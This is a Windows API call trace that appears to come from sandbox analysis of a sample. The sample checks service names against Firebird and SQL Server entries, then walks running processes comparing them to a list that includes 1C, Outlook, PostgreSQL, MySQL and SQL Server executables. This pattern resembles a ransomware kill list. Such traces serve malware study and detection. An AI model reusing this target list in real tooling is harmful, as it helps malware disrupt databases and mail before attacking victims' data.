	[0102.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0102.597] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0102.597] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0102.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0102.598] lstrlenW (lpString="gpsvc") returned 5
	[0102.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0102.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0102.598] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0102.598] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0102.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0102.598] lstrlenW (lpString="iphlpsvc") returned 8
	[0102.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0102.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0102.598] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0102.598] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0102.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0102.598] lstrlenW (lpString="LanmanServer") returned 12
	[0102.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0102.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0102.598] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0102.598] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0102.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0102.598] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0102.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0102.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0102.598] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0102.598] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0102.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0102.598] lstrlenW (lpString="lmhosts") returned 7
	[0102.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0102.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0102.598] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0102.598] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0102.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0102.598] lstrlenW (lpString="MMCSS") returned 5
	[0102.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0102.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0102.598] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0102.598] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0102.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0102.598] lstrlenW (lpString="MpsSvc") returned 6
	[0102.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0102.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0102.599] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0102.599] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0102.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0102.599] lstrlenW (lpString="Netman") returned 6
	[0102.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0102.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0102.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0102.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0102.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0102.599] lstrlenW (lpString="netprofm") returned 8
	[0102.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0102.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0102.599] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0102.599] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0102.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0102.599] lstrlenW (lpString="NlaSvc") returned 6
	[0102.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0102.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0102.599] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0102.599] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0102.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0102.599] lstrlenW (lpString="nsi") returned 3
	[0102.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0102.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0102.599] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0102.599] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0102.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0102.599] lstrlenW (lpString="PcaSvc") returned 6
	[0102.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0102.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0102.599] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0102.599] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0102.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0102.600] lstrlenW (lpString="PlugPlay") returned 8
	[0102.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0102.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0102.600] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0102.600] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0102.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0102.600] lstrlenW (lpString="Power") returned 5
	[0102.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0102.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0102.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0102.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0102.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0102.600] lstrlenW (lpString="ProfSvc") returned 7
	[0102.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0102.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0102.600] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0102.600] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0102.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0102.600] lstrlenW (lpString="RpcEptMapper") returned 12
	[0102.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0102.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0102.600] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0102.600] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0102.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0102.600] lstrlenW (lpString="RpcSs") returned 5
	[0102.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0102.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0102.600] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0102.600] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0102.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0102.600] lstrlenW (lpString="SamSs") returned 5
	[0102.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0102.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0102.600] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0102.600] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0102.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0102.601] lstrlenW (lpString="Schedule") returned 8
	[0102.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0102.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0102.601] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0102.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0102.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0102.601] lstrlenW (lpString="SENS") returned 4
	[0102.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0102.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0102.601] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0102.601] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0102.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0102.601] lstrlenW (lpString="ShellHWDetection") returned 16
	[0102.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0102.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0102.601] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0102.601] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0102.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0102.601] lstrlenW (lpString="Spooler") returned 7
	[0102.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0102.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0102.601] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0102.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0102.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0102.601] lstrlenW (lpString="swprv") returned 5
	[0102.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0102.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0102.601] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0102.601] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0102.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0102.601] lstrlenW (lpString="SysMain") returned 7
	[0102.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0102.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0102.601] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0102.601] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0102.602] lstrlenW (lpString="Themes") returned 6
	[0102.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0102.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0102.602] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0102.602] lstrlenW (lpString="TrkWks") returned 6
	[0102.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0102.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0102.602] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0102.602] lstrlenW (lpString="UxSms") returned 5
	[0102.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0102.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0102.602] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0102.602] lstrlenW (lpString="VSS") returned 3
	[0102.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0102.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0102.602] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0102.602] lstrlenW (lpString="WdiServiceHost") returned 14
	[0102.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0102.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0102.602] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0102.602] lstrlenW (lpString="WdiSystemHost") returned 13
	[0102.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0102.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0102.602] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0102.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0102.603] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0102.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0102.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0102.603] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0102.603] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0102.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0102.603] lstrlenW (lpString="Winmgmt") returned 7
	[0102.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0102.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0102.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0102.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0102.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0102.603] lstrlenW (lpString="WPDBusEnum") returned 10
	[0102.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0102.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0102.603] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0102.603] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0102.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0102.603] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36ba4f0 | out: hHeap=0x4a0000) returned 1
	[0102.603] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8
	[0102.605] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0102.606] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0102.607] lstrlenW (lpString="System") returned 6
	[0102.607] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0102.607] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0102.607] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0102.607] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0102.607] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0102.607] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0102.607] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0102.607] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0102.608] lstrlenW (lpString="smss.exe") returned 8
	[0102.608] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0102.608] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0102.608] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0102.608] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0102.608] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0102.608] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0102.608] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0102.608] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0102.608] lstrlenW (lpString="csrss.exe") returned 9
	[0102.608] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0102.608] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0102.609] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0102.609] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0102.609] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0102.609] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0102.609] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0102.609] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0102.609] lstrlenW (lpString="wininit.exe") returned 11
	[0102.609] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0102.609] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0102.609] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0102.609] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0102.610] lstrlenW (lpString="csrss.exe") returned 9
	[0102.610] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0102.611] lstrlenW (lpString="winlogon.exe") returned 12
	[0102.611] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0102.612] lstrlenW (lpString="services.exe") returned 12
	[0102.612] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0102.613] lstrlenW (lpString="lsass.exe") returned 9
	[0102.613] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0102.613] lstrlenW (lpString="lsm.exe") returned 7
	[0102.613] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0102.614] lstrlenW (lpString="svchost.exe") returned 11
	[0102.614] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0102.615] lstrlenW (lpString="svchost.exe") returned 11
	[0102.615] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0102.615] lstrlenW (lpString="svchost.exe") returned 11
	[0102.615] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0102.616] lstrlenW (lpString="svchost.exe") returned 11
	[0102.616] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0102.617] lstrlenW (lpString="svchost.exe") returned 11
	[0102.617] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0102.617] lstrlenW (lpString="audiodg.exe") returned 11
	[0102.617] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0102.618] lstrlenW (lpString="svchost.exe") returned 11
	[0102.618] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0102.619] lstrlenW (lpString="svchost.exe") returned 11
	[0102.619] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0102.619] lstrlenW (lpString="dwm.exe") returned 7
	[0102.619] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0102.643] lstrlenW (lpString="explorer.exe") returned 12
	[0102.643] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0102.643] lstrlenW (lpString="spoolsv.exe") returned 11
	[0102.643] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0102.644] lstrlenW (lpString="taskhost.exe") returned 12
